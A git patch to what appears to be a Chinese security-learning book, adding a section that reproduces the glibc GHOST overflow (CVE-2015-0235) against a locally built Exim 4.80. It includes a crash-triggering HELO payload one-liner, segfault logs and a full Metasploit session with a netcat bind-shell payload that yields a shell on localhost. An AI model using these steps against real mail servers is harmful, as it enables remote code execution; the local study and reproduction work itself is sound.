From 9696ca0dd61983eca3285afdae84f3d3b176480d Mon Sep 17 00:00:00 2001 From: firmianay Date: Fri, 26 Jan 2018 18:17:24 +0800 Subject: [PATCH] update 7.1.2 --- doc/7.1.2_glibc_2015-0235.md | 277 ++++++++++++++++++++++++++++++++++- 1 file changed, 275 insertions(+), 2 deletions(-) diff --git a/doc/7.1.2_glibc_2015-0235.md b/doc/7.1.2_glibc_2015-0235.md index 2e0ee68..d226278 100644 --- a/doc/7.1.2_glibc_2015-0235.md +++ b/doc/7.1.2_glibc_2015-0235.md @@ -3,13 +3,14 @@ - [漏洞描述](#漏洞描述) - [漏洞复现](#漏洞复现) - [漏洞分析](#漏洞分析) + - [Exim expolit](#exim-exploit) - [参考资料](#参考资料) [下载文件](../src/exploit/7.1.2_glibc_2015-0235) ## 漏洞描述 -glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST,发生的原因是函数 `__nss_hostname_digits_dots()` 存在缓冲区溢出,可以通过 `gethostbyname*()` 系列函数触发,最容易的攻击入口是邮件服务器,攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.18 之前。 +glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST,发生的原因是函数 `__nss_hostname_digits_dots()` 存在缓冲区溢出,可以通过 `gethostbyname*()` 系列函数触发,最容易的攻击入口是邮件服务器,攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.17。 ## 漏洞复现 @@ -18,7 +19,7 @@ glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖 操作系统 | Ubuntu 12.04 | 体系结构:64 位 调试器 | gdb-peda| 版本号:7.4 漏洞软件 | glibc | 版本号:2.15 -受影响软件 | Exim4 | 版本号 4.76 +受影响软件 | Exim4 | 版本号 4.80 通过下面的 PoC 可以知道自己的系统是否受到影响: ```c @@ -251,6 +252,278 @@ __nss_hostname_digits_dots (const char *name, struct hostent *resbuf, + sizeof (*h_alias_ptr) + strlen (name) + 1); ``` +#### Exim exploit +``` +$ sudo apt-get install libpcre3-dev +$ git clone https://github.com/Exim/exim.git +$ cd exim/src +$ git checkout exim-4_80 +$ mkdir Local +$ cp src/EDITME Local/Makefile +$ #修改 Makefile 中的 EXIM_USER=你的用户名 +$ #注释掉 EXIM_MONITOR=eximon.bin +$ #然后取消掉 PCRE_LIBS=-lpcre 的注释 +$ make && sudo make install +``` +最后为了能够调用 `smtp_verify_helo()`,在 Exim 的配置文件中必须开启 `helo_verify_hosts` 或 `helo_try_verify_hosts`。在文件 `/var/lib/exim4/config.autogenerated` 中的 `acl_smtp_mail` 一行下面加上 `helo_try_verify_hosts = *` 或者 `helo_verify_hosts = *`: +``` +acl_smtp_mail = MAIN_ACL_CHECK_MAIL + +helo_try_verify_hosts = * +``` +更新并重启软件即可: +``` +$ update-exim4.conf +$ exim4 -bP | grep helo_try +helo_try_verify_hosts = * +$ sudo /etc/init.d/exim4 stop +$ sudo /usr/exim/bin/exim -bdf -d+all +``` +这样就把程序以 debug 模式开启了,之后的所有操作都会被打印出来,方便观察。还是为了方便(懒),后续的所有操作都只在本地运行, + +先简单地看一下 Exim 处理 HELO 命令的过程,在另一个 shell 里,使用 telenet 连接上 Exim,根据前面的限制条件随便输入点什么: +``` +$ telnet 127.0.0.1 25 +Trying 127.0.0.1... +Connected to 127.0.0.1. +Escape character is '^]'. +220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 16:58:37 +0800 +HELO 0123456789 +250 firmy-VirtualBox Hello localhost [127.0.0.1] +^CConnection closed by foreign host. +firmy@firmy-VirtualBox:~$ telnet 127.0.0.1 25 +Trying 127.0.0.1... +Connected to 127.0.0.1. +Escape character is '^]'. +220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 17:00:47 +0800 +HELO 0123456789 +250 firmy-VirtualBox Hello localhost [127.0.0.1] +``` +结果如下: +``` +17:00:47 5577 Process 5577 is ready for new message +17:00:47 5577 smtp_setup_msg entered +17:00:55 5577 SMTP<< HELO 0123456789 +17:00:55 5577 sender_fullhost = localhost (0123456789) [127.0.0.1] +17:00:55 5577 sender_rcvhost = localhost ([127.0.0.1] helo=0123456789) +17:00:55 5577 set_process_info: 5577 handling incoming connection from localhost (0123456789) [127.0.0.1] +17:00:55 5577 verifying EHLO/HELO argument "0123456789" +17:00:55 5577 getting IP address for 0123456789 +17:00:55 5577 gethostbyname2(af=inet6) returned 1 (HOST_NOT_FOUND) +17:00:55 5577 gethostbyname2(af=inet) returned 1 (HOST_NOT_FOUND) +17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1]) +17:00:55 5577 LOG: host_lookup_failed MAIN +17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1]) +17:00:55 5577 HELO verification failed but host is in helo_try_verify_hosts +17:00:55 5577 SMTP>> 250 firmy-VirtualBox Hello localhost [127.0.0.1] +``` + +可以看到它最终调用了 `gethostbyname2()` 函数来解析来自 SMTP 客户端的数据包。具体代码如下:[github](https://github.com/Exim/exim/tree/exim-4_80) +```c +// src/src/smtp_in.c +int +smtp_setup_msg(void) +{ +[...] +while (done <= 0) + { + [...] + switch(smtp_read_command(TRUE)) + { + [...] + case HELO_CMD: + HAD(SCH_HELO); + hello = US"HELO"; + esmtp = FALSE; + goto HELO_EHLO; + + case EHLO_CMD: + HAD(SCH_EHLO); + hello = US"EHLO"; + esmtp = TRUE; + + // 当 SMTP 命令为 HELO 或 EHLO 时,执行下面的过程 + HELO_EHLO: /* Common code for HELO and EHLO */ + cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE; + cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE; + + /* Reject the HELO if its argument was invalid or non-existent. A + successful check causes the argument to be saved in malloc store. */ + + if (!check_helo(smtp_cmd_data)) // 检查 HELO 的格式必须是 IP 地址 + { + [...] + break; + } + [...] + helo_verified = helo_verify_failed = FALSE; + if (helo_required || helo_verify) + { + BOOL tempfail = !smtp_verify_helo(); // 验证 HELO 是否有效 + if (!helo_verified) + { + if (helo_required) + { + [...] + } + HDEBUG(D_all) debug_printf("%s verification failed but host is in " + "helo_try_verify_hosts\n", hello); + } + } +``` +继续看函数 `smtp_verify_helo()`: +```c +// src/src/smtp_in.c +BOOL +smtp_verify_helo(void) +{ + [...] + if (!helo_verified) + { + int rc; + host_item h; + h.name = sender_helo_name; + h.address = NULL; + h.mx = MX_NONE; + h.next = NULL; + HDEBUG(D_receive) debug_printf("getting IP address for %s\n", + sender_helo_name); + rc = host_find_byname(&h, NULL, 0, NULL, TRUE); + if (rc == HOST_FOUND || rc == HOST_FOUND_LOCAL) + [....] + } + } +``` +```c +// src/src/host.c +int +host_find_byname(host_item *host, uschar *ignore_target_hosts, int flags, + uschar **fully_qualified_name, BOOL local_host_check) +{ +[...] +for (i = 1; i <= times; + #if HAVE_IPV6 + af = AF_INET, /* If 2 passes, IPv4 on the second */ + #endif + i++) + { + [...] + #if HAVE_IPV6 + if (running_in_test_harness) + hostdata = host_fake_gethostbyname(host->name, af, &error_num); + else + { + #if HAVE_GETIPNODEBYNAME + hostdata = getipnodebyname(CS host->name, af, 0, &error_num); + #else + hostdata = gethostbyname2(CS host->name, af); + error_num = h_errno; + #endif + } + + #else /* not HAVE_IPV6 */ + if (running_in_test_harness) + hostdata = host_fake_gethostbyname(host->name, AF_INET, &error_num); + else + { + hostdata = gethostbyname(CS host->name); + error_num = h_errno; + } + #endif /* HAVE_IPV6 */ +``` +函数 `host_find_byname` 调用了 `gethostbyname()` 和 `gethostbyname2()` 分别针对 IPv4 和 IPv6 进行处理,也就是在这里可以触发漏洞函数。 + +这一次我们输入这样的一串字符,即可导致溢出: +``` +$ python -c "print 'HELO ' + '0'*$((0x500-16*1-2*8-1-8))" +``` +但是程序可能还是正常在运行的,我们多输入执行几次就会触发漏洞,发生段错误,连接被断开。 +``` +Connection closed by foreign host. +``` +``` +$ dmesg | grep exim +[28929.172015] traps: exim4[3288] general protection ip:7fea41465c1d sp:7fff471f0dd0 error:0 in libc-2.15.so[7fea413f6000+1b5000] +[28929.493632] traps: exim4[3301] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000] +[28929.562113] traps: exim4[3304] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000] +[28929.631573] exim4[3307]: segfault at 100000008 ip 00007fea42e2d226 sp 00007fff471e8b50 error 4 in exim4[7fea42db6000+dc000] +``` + +其实对于 Exim 的攻击已经集成到了 Metasploit 框架中,我们来尝试一下,正好学习一下这个强大的框架,仿佛自己也可以搞渗透测试。先关掉debug模式的程序,重新以正常的样子打开: +``` +$ /etc/init.d/exim4 restart +``` +``` +msf > search exim + +Matching Modules +================ + + Name Disclosure Date Rank Description + ---- --------------- ---- ----------- + exploit/linux/smtp/exim4_dovecot_exec 2013-05-03 excellent Exim and Dovecot Insecure Configuration Command Injection + exploit/linux/smtp/exim_gethostbyname_bof 2015-01-27 great Exim GHOST (glibc gethostbyname) Buffer Overflow + exploit/unix/local/exim_perl_startup 2016-03-10 excellent Exim "perl_startup" Privilege Escalation + exploit/unix/smtp/exim4_string_format 2010-12-07 excellent Exim4 string_format Function Heap Buffer Overflow + exploit/unix/webapp/wp_phpmailer_host_header 2017-05-03 average WordPress PHPMailer Host Header Command Injection + + +msf > use exploit/linux/smtp/exim_gethostbyname_bof +msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1 +RHOST => 127.0.0.1 +msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1 +SENDER_HOST_ADDRESS => 127.0.0.1 +msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat +payload => cmd/unix/bind_netcat +msf exploit(linux/smtp/exim_gethostbyname_bof) > show options + +Module options (exploit/linux/smtp/exim_gethostbyname_bof): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOST 127.0.0.1 yes The target address + RPORT 25 yes The target port (TCP) + SENDER_HOST_ADDRESS 127.0.0.1 yes The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim) + + +Payload options (cmd/unix/bind_netcat): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LPORT 4444 yes The listen port + RHOST 127.0.0.1 no The target address + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + +msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit + +[*] Started bind handler +[*] 127.0.0.1:25 - Checking if target is vulnerable... +[+] 127.0.0.1:25 - Target is vulnerable. +[*] 127.0.0.1:25 - Trying information leak... +[+] 127.0.0.1:25 - Successfully leaked_arch: x64 +[+] 127.0.0.1:25 - Successfully leaked_addr: 7fea43824720 +[*] 127.0.0.1:25 - Trying code execution... +[+] 127.0.0.1:25 - Brute-forced min_heap_addr: 7fea438116cb +[+] 127.0.0.1:25 - Brute-force SUCCESS +[+] 127.0.0.1:25 - Please wait for reply... +[*] Command shell session 1 opened (127.0.0.1:34327 -> 127.0.0.1:4444) at 2018-01-26 17:29:07 +0800 + +whoami +Debian-exim +id +uid=115(Debian-exim) gid=125(Debian-exim) groups=125(Debian-exim) +``` +Bingo!!!成功获得了一个反弹 shell。 + +对于该脚本到底是怎么做到的,本人水平有限,还有待分析。。。 + ## 参考资料 - [CVE-2015-0235 Detail](https://nvd.nist.gov/vuln/detail/CVE-2015-0235)